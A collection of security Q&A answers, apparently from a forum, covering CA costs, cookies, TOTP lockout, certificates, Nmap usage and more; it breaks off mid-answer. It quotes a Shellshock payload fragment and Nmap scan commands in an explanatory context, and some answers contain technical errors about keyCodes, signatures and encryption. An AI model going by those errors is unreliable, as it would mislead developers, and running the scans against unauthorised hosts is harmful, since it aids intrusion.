The people who are capable of creating and running a CA are certainly not cheap; in the US at least, you can expect that people with strong knowledge of cryptography and/or PKI will be making six figures.
It's not just enough to have a CA, you also need to build systems around them.  Websites/APIs for requesting certs and handling revocations, notification systems for certificate renewal, installation packages to push out root certificates, etc.  You could buy a software package that manages a lot of this for you, but that's certainly not free either.

For sufficiently large companies, there becomes a tipping point where the cost of purchasing all these external certificates and the loss of flexibility entailed therein becomes a significant enough issue to create your own CA.

Otherwise, I agree with those who warned you against it: for the vast majority of small to middle-size companies, it's simply not economical to run their own CA; it makes far more sense to simply deal with a company that specializes in the matter.  Even a thousand certs at $10 a year is a steal when compared to the cost of setting up a well-run internal CA.

Summary

It's not about trust, it's about cost.


How to restrict access to a web application to authorized devices only?

There's a couple of things you can do to help restrict the use of the application to a specific office location and specific devices, although as other answers point out none of them are absolute protection

Setup a firewall in front of the application to restrict the IP addresses allowed to access the application to the clients external IP address range.  Most companies will have static IP addresses on their Internet facing routers and if you set the application only to be accessible by those IP addresses it would be harder for an unauthorised person to get access to it unless he is in their office. TBH this sounds like the approach that will work best for your customers requirement
You could also use client Certificates on authorised devices.  As @adnan points out it may be possible to move those to another machine but that would require the attacker to either be a staff member of to have unuthorised access to one of their systems
perhaps as a detective control you could combine this with browser fingerprinting (e.g. panopticlick ).  Create a list of devices and their finger print, then if the client cert is used on a device which doesn't match the fingerprint you can block it.

As I say these aren't absolutes but then nothing in security is.  If all your customer is looking for is to stop people from outwith the company seeing their site, I'd go with the source IP address filter approach.


Is there any security benefit to not using cookies?

Why cookies, and what are the alternatives?

HTTP is stateless. A webpage that remembers you (so you don't have to reenter your password every time you visit a new page) is stateful. To bridge the gap between the stateless protocol and the stateful applicaiton you need some kind of session identifier that is included in every request.

The standard way to do this is with a cookie. But you could put it anywhere in the HTTP request. Some examples:

A common practice back in the day was to put the session identifier in the URL, but this meant it ended up in all sorts of logs and leaked via the referer header. Not so good.
A single page app could just store the identifier (e.g. an authentication token) in a JavaScript variable on the client, and then send it in a custom header with every request. It would be like a cookie that only lives for one page load. (As Marko Vodopija points out, the security would be somewhat weaker here, since the identifier could not be protected by http-only like a cookie can.)

You can think of these as different ways of "simulating" a limited version of a cookie.

PHP uses cookies for its sessions, by the way.

Why do some people dislike cookies?

There is nothing inherently insecure about cookies, and using them is not less secure than any of the more contrieved alternative methods. On the contrary, as we have seen, some replacements are worse.

The reason some hate cookies is the same reason they are so useful - they make the web stateful. This means that they can be used to track you, with all the privacy implications that comes with. So some might want to disable cookies completely.

That is probably the reason why a privacy focused site would offer a cookie free alternative. It doesn't make the site itself any safer, but it can service users who have cookies turned off for privacy reasons.


How to securely destroy old cellphone, to avoid personal data recuperation?

You could disassemble the phone and drive a nail through the NAND. But since some companies (like DriveSavers) can rebuild flash chips on a certain extent, you might want to further destroy it by smashing the chip to bits.

(Note here that I do not know how "recoverable" a NAND flash is once there is physical damage. I just know that there are specialist equipment that can reconstruct NAND flashes off of SSDs. Granted, these SSDs are brought in with a cell failure rather than actual deformation, but if you think your data is that sensitive you have bigger problems.)

Here is a link to the iPhone 3G iFixit teardown that reveals where the chip resides. It's the Toshiba TH58G6D1DTG80 chip found on the back of the logic board, step 20. (I didn't post it here because of copyright.) Be sure not to puncture the battery as it might cause fire, smoke, and start leaking nasty chemicals.

Finally, if you can afford to wait it out, NAND flashes usually wear down with time if there is no power supplied to it. If you don't want to physically break your phone, you could lock it in a safe and preserve it for a couple of years. Some sources say you only need to wait two years (or even one year) under ideal conditions (high temperatures) for the data to become corrupt, while other sources claim it's false and NAND flashes can retain data for long periods of time. (The articles talk about SSDs, but the same could be applied to NAND flash because SSDs use NAND to store data.) Note that newer advances in the field could help retain data more than old chips, but I don't know how much that can impact data retention. So depending on how sensitive your data is, this might not be feasible, but could be the option if you want to preserve your phone, maybe for sentimental purposes.


Why would some web applications disable Numpad input?

This answer is only speculative, but after I did some digging, this is the most probable solution for me.

The coders wanted to prohibit the input of numeric values in some fields of a web form. To do this they used keyCode values like here. Every key on the keyboard has a specific code, so its input can be identified with an ID. The numpad and the number keys - although giving the same input (numbers) - have different keyCodes.

The number keys have the keyCode values 0 - 9, the numpad values are 96 - 105.

To make it impossible to enter numeric values via keyboard, the input of all keys with the keycode values from 0 - 9 and 96 - 105 was forbidden, thus disabling the numpad.


Considering majoring in "information security and network engineering". Will this course leave me between two different career paths?

The short answer is 'no', it is not a malformed degree. The curriculum is very broad to give you a broad foundation in the IT and cybersecurity field.

To say "cybersecurity" is like saying "medicine"; there are so many branches and specialities under that one word.

So you will not be between career paths, but you will not have a clear career path, either. In other college programs that look like this, the idea is to give you a little bit of knowledge in a lot of different areas so that you can choose what you want to study.


How to verify personal information (identity)?

There are professional services that do background verification/auditing of individuals and gather the information to cross verify it. So it itself is a service offering apart from the application you want to use it for (long story short you don't wanna do it just for the sake of your app/service, if you think of it as new business opportunity then it's a different ballgame and out of scope for this question)

There are two major types of background verifications 1. Criminal/personal records 2. Financial/credit verification records

Based on the requirements the details comprising of these records vary.

I am unsure about service providers for criminal/personal records your area (as these will be domestic/country specific agencies) however for financial/credit verification records you can tie up with Experian, Equifax etc service providers(again country specific considering the legal aspect of capturing part of PII).

Oh and be advised when you will be embedding/engaging their services in your application you need to adhere the guidelines for how you'll protect the data at rest and in transit, have to go through their independent audits like Experian Independent 3rd party assessment (EI3PA), Equifax audit etc which are as strict as PCI audits and need to be executed by independent QSA annually.

Finally following are some of the companies (with better SEO at least) who will be able to do the job for you.

(Might be deprecated) Consumer Authentication Service by VeriSign - http://xml.coverpages.org/VerisignCAS.html

Experian: http://www.experian.com/decision-analytics/identity-and-fraud/identity-verification-screening.html

MiiCard: http://www.miicard.com/

Trulioo: https://www.trulioo.com/

i-Verified Background Screening Solutions: http://i-verified.us/

ACCESS BACKGROUND SCREEN LLC: http://www.accessbackgroundscreen.com/id9.html

AAIMCheck: http://www.aaimea.org/AAIMCheck/Background-Verification.aspx
Credit Verification: http://www.creditverification.com/

einvestigator has a list ofprivate investigators if required: https://www.einvestigator.com/missouri-private-investigators/

A parting gift, few valuable links which may be helpful either now or in the future.

https://en.wikipedia.org/wiki/Identity_verification_service

http://www.businessnewsdaily.com/7638-best-background-check-services.html

http://www.businessnewsdaily.com/7636-choosing-a-background-check-service.html

http://insurance.mo.gov/consumers/faq/creditScoring.php


Why does Tor Browser disable Javascript optimizations?

The presence of certain JavaScript features can be used to fingerprint the person like

  "X's unique hash is ...".

Whereas the absence of certain JavaScript features can be used to fingerprint the person like

  "has disabled X".

It's not recommended to tweak the Tor Browser Bundle in any way, as a lot of people use it (with default settings) and therefore your fingerprint only says "uses Tor Browser Bundle".

Browser fingerprinting resources:

privacytools.io
my blog post


ssh always too many authentication failures

Add this in your ~/.ssh/config:

Host *
   IdentitiesOnly yes

source: How do I configure SSH so it dosen't try all the identity files automatically?


If you want to run FoundStone against the server through the firewall, you make sure the URI filter won't drop it, so either add the required bits to the traffic or add an exception to the firewall.

They both have pros and cons:

Running FoundStone with an exception in the firewall - lets you fully test your server, but is not a realistic test, and it opens up a new hole in the firewall, which may increase your risk
Tweaking its scan options to include the URIFilter will not get as wide a scan, but will be relatively realistic.

My preferred option - use something else as well from inside the firewall, whether it be quarterly automated scans, annual penetration tests or whatever.


The importance of changing DNS when Using Antifiltering software

If your DNS queries are being resolved by your ISP, then yes, you should change your system DNS server to 8.8.8.8 or 8.8.4.4 (Google's public DNS resolvers).

DNS filtering is performed by the ISP, typically under instruction by a governing body. In this case, the actual DNS server queried is irrelevant, the ISP will drop any DNS queries for a particular domain name, preventing users from resolving it. This occurs irrespective of the target DNS server. However, if you are actually using your ISP's DNS server, then you are giving them a second opportunity to filter your lookups.

Your antifiltering software can work in one of two primary ways;

Out-of-band DNS Queries The anti-filtering software performs DNS queries by dialing out to a C&C server, which performs the actual DNS lookups on your behalf and returns the results to you via an encrypted (SSL) tunnel. This method requires a browser plugin and is rarely used, because it is a terrible hack.
Full Connection Tunneling This is by far the most common approach, your connection is tethered to a remote server via an encrypted (SSL, PPTP, IPSec etc) tunnel, also known as a VPN gateway. All traffic is passed through this tunnel, including DNS queries. Your ISP cannot see what you are doing, instead the ISP of the VPN gateway sees all the traffic, which is why you put the gateway in a country with less strict filtering laws than your own.


Would it add security to set a GRUB password if HDDs are encrypted and UEFI settings can be opened anyway?

Adding grub password is needed to protect the boot sequence, but protecting the boot sequence only makes sense if you protect the entire boot sequence, in other words if you enable grub password, you should also enable UEFI password and vice versa. It's kinda pointless to set one but not the other, so to answer one of your question, no, it's not redundant.

When you have Secure Boot, each component in the boot sequence should cryptographically verify the image loaded for the next boot component. In other words, UEFI loads and verifies a cryptographically signed GRUB image (using UEFI Secure Boot), and GRUB loads and verifies a cryptographically signed Linux kernel/initrd/drivers. When you have the entire chain verified using Secure Boot, then the only vulnerability left is if the attacker replaced the motherboard/Boot ROM, this is a physical attack that can be delayed or made difficult by using physical security measures (e.g. casing/rack locks, security cameras, security guards, tamper evident stickers).

There's little sense in encrypting /boot, but there are good reasons to cryptographically sign the files in /boot to prevent boot hijacking). Secure Boot in UEFI and GRUB are part of the solution to booting an operating system without a cryptographically signed boot sequence; adding boot passwords prevents people from making unauthorized changes to UEFI/GRUB settings or booting unsigned systems from UEFI Shell/GRUB Shell.


I didn't find a good/clear definition. (in relation to the terminology "drive by download")

Terminology such as "drive by download" is typically up for interpretation, depending on the context. Though, when something is referenced that has to do with a "drive by", it usually means both download and execution.

Why is it possible to download files with a hidden iframe

This is considered a feature. This functionality is allowed because it may be considered for use by legitimate businesses and websites for legitimate purposes. It isn't necessarily considered a "security risk" because generally speaking it is safe to download a file, as long as you don't run it. (of course I'm not discounting the possibility of a 0day within the download methods of a web browser, but I wouldn't be concerned about that.) It's also important to note that some browsers do actually ask you if you'd like to download a file before beginning the download, such as firefox - in the form of asking you if you could like to save, open, or cancel.


Can my work place access my private google account

This is a phishing email. Ignore it, and certainly don't transfer anything if you get a follow-up. If your work has a "phishing@" or "soc@" email address or similar, report it to them. You probably aren't the only one who got it.


Estimated cost to make a brute-force WPA2 attack feasible

The attacks assume a password that appears on the password list they are using (or at least in the space of passwords being considered, e.g. 8-9 alphanumeric chars).

The WPA 4 way handshake is vulnerable to offline password checking, but the key involved is 128 bits long - if the network password has sufficient entropy then it can't be brute forced in a reasonable time frame.

So there is no one size fits all answer to the question - it very much depends on the quality of the password on the target network and how much the attacker knows about that password (length, format, name of pets, ...).

Note that its a different story if the access point supports WPS - many implementations are vulnerable to brute force attacks, but with a consistently small keyspace. A normal consumer PC can crack a vulnerable WPS implementation in <12 hours.


Authentication without login and password in mobile apps

I work as an IT Security professional (IT Auditor), so can answer from experience.

First, I will define a secure token. In order for the access token to be secure: you would need to satisfy the below:

Token expires at some point
Token cannot be modified in transit between client and server.
User cannot modify the token.

  Token expires at some point

This requirement is the easiest. You specify a date when this token will no longer be valid, on the server side. If date of the login > expiration date of the token, then reject the token as having expired.

  Token cannot be modified in transit between client and server

As you are using TLS, (hopefully version 1.2 and updating to 1.3 when finalized) this problem should be resolved already. TLS provides confidentiality, ensuring that the access token is not disclosed without authorization to a third party.

  User cannot modify the token

This requirement is the most difficult. To accompanist this, you would need to use a digital signature with PKI. Do not use SHA 1 as the hashing function because this algorithm is INSECURE. Applying the hashing function to the access token results in a message digest. The message digest is then encrypted using the private key that only the user knows. Once the credential are decrypted on the server using the public key of the user, if the resulting message matches the credentials on the server, then it is guaranteed that no modification of the access token by the user took place.

The above method guarantees the C - confidentiality, and I - Integrity requirements of the security CIA triad. Non-repudiation (user cannot deny it is his credentials) is also guaranteed due to the public key of the user being able to decrypt the encrypted message received.

To answer some of your other questions:

  Should I encrypt the access token locally when stored?

Yes you should. The above pertains to data in transit, but not at rest. If a hacker were to compromise the local client machine, he or she can easily steal a plaintext token, and then impersonate the rightful owner.

  How should I encrypt?

You should use a strong encryption algorithm such as AES or RSA. Chose a long key length (ex: 256) to maximize security.


How to know if certificate is self-signed

Self-signed certificate will have identical subject and issuer fields, but a) this is not guaranteed, and b) the inverse is not true. Just because the fields have the same value that does not mean the certificate is self-signed.

Here are the outputs from one of our internal root (root-ca.crt) and intermediate certificates (ca.crt):

$ openssl x509 -subject -issuer -noout -in root-ca.crt
subject= /C=DE/ST=Berlin/L=Berlin/O=classmarkets GmbH/CN=classmarkets CA
issuer= /C=DE/ST=Berlin/L=Berlin/O=classmarkets GmbH/CN=classmarkets CA

$ openssl x509 -subject -issuer -noout -in ca.crt
subject= /CN=classmarkets CA/C=DE/L=Berlin/O=classmarkets GmbH/ST=Berlin
issuer= /C=DE/ST=Berlin/L=Berlin/O=classmarkets GmbH/CN=classmarkets CA

You can see that the fields are the same for both certificates, even though ca.crt has been signed by root-ca.crt:

$ openssl x509 -noout -text -in ca.crt | grep -A1 'Key Identifier'
        X509v3 Authority Key Identifier:
            keyid:A2:2D:AF:A0:D2:64:DF:30:F1:72:39:AC:21:AF:45:D6:D4:12:19:94
--
        X509v3 Subject Key Identifier:
            30:B0:6B:B5:56:9A:95:7C:31:4B:B2:65:95:0D:F9:EE:E8:3D:3A:C9

$ openssl x509 -noout -text -in root-ca.crt | grep -A1 'Key Identifier'
        X509v3 Subject Key Identifier:
            A2:2D:AF:A0:D2:64:DF:30:F1:72:39:AC:21:AF:45:D6:D4:12:19:94

Note the absence of the Authority Key Identifier in root-ca.crt.

RFC3280 states in section 4.2.1.1 (emphasis mine):

  The keyIdentifier field of the authorityKeyIdentifier extension MUST
     be included in all certificates generated by conforming CAs to
     facilitate certification path construction.  There is one exception;
     where a CA distributes its public key in the form of a "self-signed"
     certificate, the authority key identifier MAY be omitted.  The
     signature on a self-signed certificate is generated with the private
     key associated with the certificate's subject public key.  (This
     proves that the issuer possesses both the public and private keys.)
     In this case, the subject and authority key identifiers would be
     identical, but only the subject key identifier is needed for
     certification path building.

So it seems to me that the Authority and Subject Key Identifiers are a much better indicator for self-signed certs than the Issuer and Subject fields. For a self-signed certificate the Authority Key Identifier will either be absent or have the same value as the Subject Key Identifier.


Adding hash value to user supplied URL in a web application: any security benefit?

The scheme you describe is commonly used to ensure that a link is current, so if someone's changed the content, no other references to it will continue to work.  Generating a new GUID upon reboot guards against someone making database changes while the server is down, ensuring old links are invalidated.

This scheme has almost nothing to do with security, and everything to do with data integrity.  While related, these are not the same qualities.

So now ask yourself "Why do we need the hash? What are we trying to protect against?"  If it's not ensuring your users always have absolutely correct and current data, you don't need the hash.  If you think you do, and can somehow trust that your database won't be modified if the server is brought offline, then you could eliminate the server GUID so the URLs would survive reboots (this is where the minor security issue comes from, in case an attacker can bring your server down and change the data while it's offline.)

If you're seeing a lot of entries in your logs due to server reboots, maybe you need to determine why the server is rebooting so often that it's presenting an issue to your users.  Or maybe it's not reboots that are the problem, and your data is changing much more frequently than you expect.  Or maybe your users are letting their sessions time out, and trying to reuse stale data more often than you think.  Make sure your user sessions are timing out appropriately for the rate of change of your data.


How do big business like Google keep passwords so secure when others can't?

It isn't about money or size as such, it is more about exposure and careful design.

Good practice for storing user authentication details includes doing a one-way hash of a users password and only storing that. There are many ways to do that hashing process but not all of them are especially secure. It also includes storing the authentication details inside a more secure area of your network to reduce the potential for attackers to be able to grab a copy of the database (giving them time to work on decrypting it offline).

Ill thought-out designs create serious weaknesses in complex security giving attackers an easier time of getting in and getting hold of critical data.

Security conscious enterprises also tend to have more complex security architectures built up in layers with additional tools such as Intrusion Protection and Data Loss Prevention services and have some form of security operations that monitor activities across the IT estate.

That all costs $$$ of course and enterprises working on narrow margins might skimp on such things.

Finally, you get the "Innovation" problem. Where you get an organisation that is primarily focussed on innovation such as a startup with a specific idea to sell, it is all too common to find that common sense never makes it into planning and operations!

Google managed to find that right combination of innovation, planning and operations that has made them very successful. They have much to offer but actually are far from a shining light in terms of customer security but that is probably a different question.


Can a cellular base station be accessed from within the 4g network it provides?

The IP part of the cellular connection is added down the line somewhere in the core network (the BTS is pretty much just a dumb radio frontend), so the phone can't directly reach the base station over IP by looping back inside the BTS, as it does not talk IP to the phones.

However in case of misconfiguration nothing prevents the phone from accessing the BTS by going through the core network and back into the BTS over IP. In the scammy mobile telecoms industry security is a very low priority and I wouldn't be surprised if you could find a "secret" APN that gives you direct IP access to the core network.


Check out reverseengineering.SE for all your RE questions.

The name of the tool being used is Hiew.

From WannaCry — Links to Lazarus Group:

Some code in WannaCry (9c7c7149387a1c79679a87dd1ba755bc) beginning at address 0x402560 is the same as some code in Contopee (ac21c8ad899727137c4b94458d7aa8d8) beginning at address 0x10004ba0. Same story for the next pair of addresses. In essence, both pieces of software share code.

This is what is depicted in picture 2 in the question, it is just a little hard to see. A bigger picture can be found in Dan Goodin's article Virulent WCry ransomware worm may have North Korea’s fingerprints on it (click to enlarge):


Secret sharing scheme for disaster recovery with asymmetric key?

Your approach seems backwards. I would think you would encrypt everything using your public key, keeping your private key private. You would ensure a copy of your private key is stored somewhere your family will find it when needed, with instructions on how to decrypt the various encrypted secrets.

I would print the passphrase and private key retrieval information on paper, and store that securely with other important documents that will be examined after my death. Anything online is fraught.


Strong encryption for base64 encoded public key in Android

First, note that what you need is not encryption. This advice is about public keys. Public keys are, as the name indicate, not secret (except sometimes for privacy — but when your application's key is in your application, there's no privacy involved). What you need is to ensure the integrity of the public key, i.e. ensure that a malicious entity cannot replace it by a different key.

The application uses the public key to authenticate a purchase order. The normal sequence of events for a purchase is:

The user contacts a Google server and pays some money to purchase an in-app feature.
The Google server issues a receipt for that purchase. It signs this receipt with a private key that never leaves the server.
Your application running on the mobile device downloads the receipt.
Your application verifies that the receipt is genuine, relying on the public key bundled with the application.
If the purchase is a repeatable one (e.g. allowing to download X minutes of protected content, as opposed to unlocking a feature), the application must ensure that the same receipt cannot be used twice (replay attack). It does so by “consuming” the purchase.

The problem is that the user may modify the code or data of your application to put a public key of his choosing instead of the genuine one. In particular, he may put a public key for which he knows the private key. If he does this, he can generate purchase receipts without going through any server, and your application will accept them as genuine at step 4.

What you need to do to protect against this attack is to detect any attempt at modifying the public key. It doesn't matter if the potential attacker can read the public key, as long as he cannot change it. This means your application should contain code that verifies that the key is genuine. But whatever you do, the attacker could change the verification code (just flip a bit somewhere to change if is_genuine(public)key) to if not(is_genuine(key)))...

So you need to make it impossible for the attacker to find the verification code. Not only that: you must make it impossible for him to jump over the verification code and into the interesting part. You need to obfuscate your whole application.
But obfuscation is hard if not impossible.

There are only two ways you can benefit from obfuscation:

If no one cares about your app, maybe no one will try to crack it. (Downside: you aren't making any money either.)
You put a lot of effort into it, and only hope for it to hold for a small amount of time. Note that significant effort must be put into each release: if a lot of software is released with the same obfuscation techniques, someone will find a way to crack it, and all that software will be exposed.

For a success story of obfuscation, I recommend reading Gavin Dodd's story about the game Spyro: YOTD. The key points are that it took a lot of effort, that the objective was only to delay the crack for a couple of months, and that it relied in part on the psychology of the attackers who only spend limited time attacking each game and stop as soon as they've passed the first hurdle.

In most cases, obfuscation will cost you far more than it can benefit you.

So what can you do? As advised in the article: don't verify the purchase on the device, verify it on a server under your control. This is only useful if the result of the purchase comes from a server. For example, if the purchase is for additional content or features, the receipt should unlock the content in the user's account on the server, and the app would download any content that the server lets it have.


Securing the backend of your web application?

That's actually correct.

Typical web page request liftime:

Javascript makes a request to the web server
Web server validates the request

If the request is bad, reject it

If the request is good, send it to the app server

App server receives the request for the data, retrieves it, send it back to the web server
Web server formats the data into a JSON and sends it back to the client
Client recieves data, validates it's what it is expecting, and does something

Of course this is something you've probably seen time and time again, but it doesn't really explain why the web server is there... or does it?

Let's look at the web server validating the request:

Here's there are three things that can happen:

Request is malicious, this server instance goes down

Because of the way you formatted this web server, that malicious request doesn't affect the database or app server, so you jsut restart hte instance

Someone intrudes onto the web server, and gets isolated in a netowrk of honeypots
DDOS attack comes through to the web server, not database or app server

basically the advantage of this is that you can have your DNS point to the web server, and keep your app server and database secret and direct IP access only, meaning any other services(like data reporting) stay up if your website goes down.


Can an OpenPGP certificate be imported into Windows Certificate Manager?

No, you can't. The Windows Certificate Store has no support for OpenPGP, but relies on X.509 certificates. OpenPGP and X.509 certificates use a different format, although the underlying cryptographic principles are pretty much the same.

If you need to support the Windows Certificate Store, use X.509 certificates. Very likely your use case will require one issued by an already included certification authority.


Is there a benefit in using Oracle's WRAP to obfuscate PL/SQL Code

There are unwrappers available for code wrapped with the Oracle 10g and 11g mechanism. These include both an online 'unwrapper' and the source code of an unwrapper written in Python.

As such, wrapping will do little to prevent someone with that level of access obtaining the source code.

Additional indicators of the nature of the code can be obtained using the *_DEPENDENCIES views, through an SQL trace or use of DBMS_TRACE.

The dependency views will show which tables and other objects might be called from the program, either directly or indirectly.
The SQL trace will show the SQLs executed as a result of a particular call to a procedure. This can include 'bind variables', for example showing the salt used in an encryption call.
The DBMS_TRACE is not usually installed, but when installed and enabled it can be used to track the path taken through the code, in terms of line numbers and procedure/function calls.

To protect code from being analysed, the first recourse should be to use packages. With procedures and functions, the entirety of the code is available to any database user who has been given permission to execute the program. With packages only the specification (program name and argument names/datatypes) are available and the actual code in the body is only visible to the owner of the program and those with high database privileges (normally DBAs).


Nmap's -iL option will take as input a file with one target specification per line. If you are using -oA or -oG, you can quickly grab this from the grepable output of a prior scan result using awk:

nmap -sn 192.0.2.0/24 -oA previous
awk '/Status: Up/{print $2}' previous.gnmap > targets.txt
nmap -Pn -iL targets.txt

The same info can be pulled from other output formats, but use the tools that are appropriate and available to you. Also remember that a host's state can change over time, so using -Pn to skip host discovery in the second nmap command above would not be recommended if a day or more elapsed between scans.


Best practices for handling wrong TOTP tokens

RFC 4226 doesn't tell me what others are doing, but it does have some viable suggestions in its Section 7.3.

Apparently, after the 5 attempts per account and device are exhausted, either a full account lockout or exponentially increasing delays should kick in, semi-permanently.

The counter must apply across login sessions and across individual TOTP tokens, as long as they are associated with the same authentication device.  That way, it is impossible for too many unsuccessful device factor authentication attempts to accumulate before the constant need for the administrator to reset the device factor lockout hopefully draws appropriate attention to the account under attack; and once the password is eventually changed, the lockouts caused by the attack will stop.

Lessons taken:

The protection of the device factor is no different from the
protection of the password, and the two need independent protections
from brute force attacks, regardless of the authentication flow.
If the device factor is adequately protected in itself, it would be redundant to speculate whether the password has leaked or whether the legitimate user is just having a modest amount of trouble with their devices.
To protect the device factor, it is not sufficient to protect only keys (against leaking) and tokens (against eavesdropping or guessing).


(httpd log files) What kind of attack is? How can I prevent it?

This attack is a variant of Shellshock, denoted by the bash code found at the beginning of the payload: () { :;} ;.  The way you prevent your application from being scanning by bots is by disconnecting your server from the internet. Scans for remote code execution vulnerabilities like Shellshock are extremely common and are not going away any time soon.

A more practical approach to security is ensuring your system is fully updated, and by following secure coding practices.  The OWASP top 10 is a good place to start, being vulnerable to Shellsock would be a violation of OWASP A9: using components with known vulnerabilities.


Firefox warning: Content Security Policy: Couldn’t process unknown directive ‘require-sri-for’

As of version 69, Firefox no longer supports the require-sri-for CSP due to concerns about standardization status. The original answer below is only valid for versions 49-68.

If you look at the compatibility tables you will see that firefox has a flag which labels this functionality as "User must explicitly enable this feature." To quote:

From version 49: this feature is behind the security.csp.experimentalEnabled preference (needs to be set to true). To change preferences in Firefox, visit about:config.


Will Let's Encrypt require SNI from the operators?

According to the post (dated 2015-09-09) in the subjectAltNames certificates thread: yes,  subjectAltNames for unrelated domains will be allowed.

Update (from more recent posts in the thread links above):

Users report practical success in generating certificates with multiple domains. There is apparently a limit of 100 names per certificate.


Where do Common Criteria threats, policies, assumptions and objectives come from?

According to the specification, these have no predefined list. These are defined as required for the situation.

A.6.2 Threats
291 This section of the security problem definition
shows the threats that are to be countered by the TOE, its operational
environment, or a combination of the two.
292 A threat consists of a
threat agent, an asset and an adverse action of that threat agent on
that asset.
293 Threat agents are entities that can adversely act on
assets. Examples of threat agents are hackers, users, computer
processes, TOE development personnel, and accidents. Threat agents may
be further described by aspects such as expertise, resources,
opportunity and motivation.
294 Threat agents may be described as
individual entities, but in some cases it may be better to describe
them as types of entities, groups of entities etc.
295 Examples of
assets can be found in Section 7.1.
296 Adverse actions are actions
performed by a threat agent on an asset. These actions influence one
or more properties of an asset from which that asset derives its
value.
297 Examples of threats are:
− a hacker (with substantial
expertise, standard equipment, and being paid to do so) remotely
copying confidential files from a company network;
− a worm seriously degrading the performance of a wide-area network;
− a system administrator violating user privacy;
− Someone on the Internet listening in on confidential electronic communication.


Google Cloud IAM login to linux machines

OS Login simplifies SSH access management by connecting your Linux user account to your Google identity. Administrators can manage access to instances by setting IAM permissions.

Google-provided public images include utilities and components to manage VM access.

When you enable OS Login, a helper script activates these components and perform the configuration.

Read more:

Google Cloud OS Login

Setting up and configuring OS Login


Identify anonymous mobile phone user by network participants

Is this technique used?  I can't speak specifically to mobile phones, but in general, it's a regularly used technique usually referred to as de-anonymization or re-identification.

One common legal application is in web advertising.  Advertisers aren't allowed to have access to your personally identifiable information, but they may have access to your anonymized information and some unique identifiers (usually from cookies or browser fingerprinting).  Those unique identifiers can become lost or replaced as cookies expire or are deleted, but by cross-referencing patterns and other anonymized information, it's sometimes possible to draw a conclusion that two different unique identifiers are actually the same individual.  In the advertising world, this can be used to identify that two seemingly different people are actually the same person using different devices (e.g. mobile phone, desktop, tablet) without ever actually knowing who the individual is.

That said, it's not always an easy or foolproof process, but it is possible.


I'm trying not to go into the general workings of public key cryptography as this is described very well at many places:

https://en.wikipedia.org/wiki/Public-key_cryptography
https://en.wikipedia.org/wiki/Digital_signature

I suspect the first missing point in your line of thought is that the browser doesn't have to communicate with anybody (putting aside the problem of revocation lists and time sync) to verify a certificate as long as it has the certificate and the public keys of the trusted CAs - this is why public-key crypto is great! It just has to calculate hash of the contents of the certificate and decrypt the signature using the CAs public key: if the decrypted value and the calculated hash match, the certificate is trusted (this is a highly simplified version of the operation though).

At this point the attacker faces the following hard problems:

He can't intercept/modify traffic secured via the servers keypair, because he doesn't know the servers private key.
He can't replace the servers public key contained in the certificate, because this will break the signature.
He can't just sign a certificate containing his public key because the browser doesn't know the public part of his signing key (the attacker is not trusted by the browser).
We hope that the attacker couldn't obtain a CA key.

If the servers public key changes a new certificate with the new public key has to be created - the client will receive a different certificate and that's basically it.


A different CSRF token and session ID passed in the request

The most likely scenario with the information you've given us is that the user has opened a session in one window.  They they open a new browser window, where there initial session times out and they are given a new session identifier.  Now, they go back to their original browser window, and try and submit that form.  This is where your expired information is coming from.


How does Android prevent me from installing custom system services?

On older versions of Android, this protection didn't exist, and a lot of root exploits for devices used this to their advantage. Newer versions of Android use dm-verity in the kernel to ensure that no part of the system partition has been tampered with, by checking signed hashes of each block. They also have a chain of trust going through the bootloader and back to the SoC to prevent simply removing this feature from the kernel.


If you have a sensor/IoT device network, a potential way to avoid a DNS Sinkhole, in particular, would be to only use a trusted DNS that you own.

The problem with that approach is that a TLD Name Server could still pass down unroutable addresses to your custom server, so it would have to be modified to not accept such addresses.

Or, you could skip the whole DNS circus and use hard-coded IP addresses. That way, you don't have to worry about rogue DNS entries if you aren't even looking them up. Again, this is specific to the DNS Sinkhole attack and may be vulnerable to other types of attacks.


Firewalling: Screened Host / Bastion Host

Bastion hosts are from old, and flawed, firewall design concepts. The idea was basically an unprotected DMZ of sorts with a hardened computer (the bastion host) in that area. The reason it even came into existence is simply due to the fact that firewalls when they first came out were extremely expensive and rarely had more than two interfaces on them. This was also long before IPTables/IPChains was an option.

A second concept going on in this drawing is referring to multiple systems as part of the firewall. For a while when we were using things like proxy servers for firewalling specific protocols, not unlike using a Web-Application Firewall (WAF) or SPAM firewall in addition to your network firewall today, we considered the combined set of devices to be one firewall. That notion has mostly gone away and we simply call each device by its own name now.

You may find the historical reference to Marcus J Ranum useful on the related Wikipedia page:
https://en.wikipedia.org/wiki/Bastion_host


What role do hashing and block ciphers play in random number generation?

Hash functions are often used as a mixing function to take potentially-biased input data and transform it in a way such that those biases are highly unlikely to negatively impact the quality of the system's RNG state. This is useful when you're trying to accumulate entropy from sources that might only contain partial randomness, and some of the data may possibly be influenced by an attacker. As long as any of the input bits are unknown and unpredictable, the output bits from the hash will retain that unpredictability.

Symmetric ciphers are often used to produce DRBGs - deterministic random bit generators. By configuring a cipher such as AES or RC4 as a stream cipher with a secret seed value as the key, the output of the cipher becomes a cryptographically secure random bit generator. This is useful in cases where you need repeatable but secure random numbers, e.g. where two systems both need to produce the same stream of random numbers but the randomness needs to be secure.


Per Vendor/Publisher Device Unique Identifier, How is it and how much secure?

On jailbroken devices this is definitely possible. The simplest way (and not involving any reverse engineering) would be for application a2 simply spoof a1's BundleID.

As for the generation algorithm, I believe that on iOS that identifier is simply a random NSUUID that is generated when first app from given vendor is installed (and removed when last app from this vendor is uninstalled).

Cannot tell anything about WP though.


How to deal with biometric major flaw: non revocable identification?

The whole point of resorting to biometrics, i.e. taking physical measures out of a body part of the human user, is that the said body part is attached to the user, and cannot be switched at will (it can, unfortunately, be removed, but not really glued back).

It is true that the impossibility to revoke biometrics is an inherent problem, for which no good solution is known (yet). However, if you side-step the issue by using an external device, such as your fake finger, then why do something as crude as imitating a human finger ? It would be much simpler, and much safer, to admit that you are now using device-based security ("something you own" as opposed to "something you have") and make the device a smart card or something similar. This is not even a new idea; for instance, in Japan, they use seals for signatures. Your proxy-finger is just a Japanese seal in the form factor of an Halloween prop.


Is there a security problem accessing my laptop via WIFI?

If your web application isn't being run as you, but a dedicated user with access only to the correct folders/files, then it should be fine.

Of course, if either the operating system/server/application/hardware drivers etc has a vulnerability in it that enables read access to any folder, then you'll have a problem!

Check you don't allow arbitrary code execution in your app, check everything's up to date and all should be fine.


How can IPSec provide confidentiality between two hosts on private networks?

Let's explain the two modes, how they differ, and clear the air:

Tunnel mode:

Protects internal routing information by encrypting the IP header of
the original packet. The original packet is encapsulated by a another
set of IP headers.
Allows for NAT traversal

Transport mode:

